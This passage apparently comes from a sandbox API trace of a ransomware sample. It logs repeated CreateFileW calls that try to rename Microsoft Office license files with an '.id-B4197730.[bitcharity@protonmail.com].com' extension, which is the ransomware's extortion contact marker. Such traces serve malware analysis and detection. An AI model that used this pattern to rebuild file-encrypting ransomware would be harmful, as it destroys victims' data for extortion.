[0251.779] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.780] CloseHandle (hObject=0x1194) returned 1 [0251.781] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.781] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.781] CloseHandle (hObject=0x1194) returned 1 [0251.782] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.782] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.783] CloseHandle (hObject=0x1194) returned 1 [0251.784] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.784] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.784] CloseHandle (hObject=0x1194) returned 1 [0251.785] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.785] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.785] CloseHandle (hObject=0x1194) returned 1 [0251.786] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.787] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.787] CloseHandle (hObject=0x1194) returned 1 [0251.788] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.788] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.788] CloseHandle (hObject=0x1194) returned 1 [0251.789] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.789] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.789] CloseHandle (hObject=0x1194) returned 1 [0252.536] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.536] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.669] CloseHandle (hObject=0x1234) returned 1 [0252.671] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.671] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.671] CloseHandle (hObject=0x1234) returned 1 [0252.673] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.674] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.674] CloseHandle (hObject=0x1234) returned 1 [0252.675] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.675] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.676] CloseHandle (hObject=0x1234) returned 1 [0252.677] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.677] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.677] CloseHandle (hObject=0x1234) returned 1 [0252.679] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.679] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.679] CloseHandle (hObject=0x1234) returned 1 [0252.680] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.680] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.681] CloseHandle (hObject=0x1234) returned 1 [0252.682] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.682] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.682] CloseHandle (hObject=0x1234) returned 1 [0252.684] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.684] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.684] CloseHandle (hObject=0x1234) returned 1 [0252.685] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.685] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.686] CloseHandle (hObject=0x1234) returned 1 [0252.689] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.689] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.689] CloseHandle (hObject=0x1234) returned 1 [0252.690] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.690] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.691] CloseHandle (hObject=0x1234) returned 1 [0252.692] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.692] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.692] CloseHandle (hObject=0x1234) returned 1 [0252.693] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.693] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.694] CloseHandle (hObject=0x1234) returned 1 [0252.694] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.695] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.695] CloseHandle (hObject=0x1234) returned 1 [0252.695] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.696] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.696] CloseHandle (hObject=0x1234) returned 1 [0252.696] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.697] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.697] CloseHandle (hObject=0x1234) returned 1 [0252.698] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.698] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.698] CloseHandle (hObject=0x1234) returned 1 [0252.699] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.699] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.700] CloseHandle (hObject=0x1234) returned 1 [0252.701] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.701] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.701] CloseHandle (hObject=0x1234) returned 1 [0252.702] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.702] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.702] CloseHandle (hObject=0x1234) returned 1 [0252.703] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.703] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.703] CloseHandle (hObject=0x1234) returned 1 [0252.704] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.704] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.705] CloseHandle (hObject=0x1234) returned 1 [0252.706] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.706] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 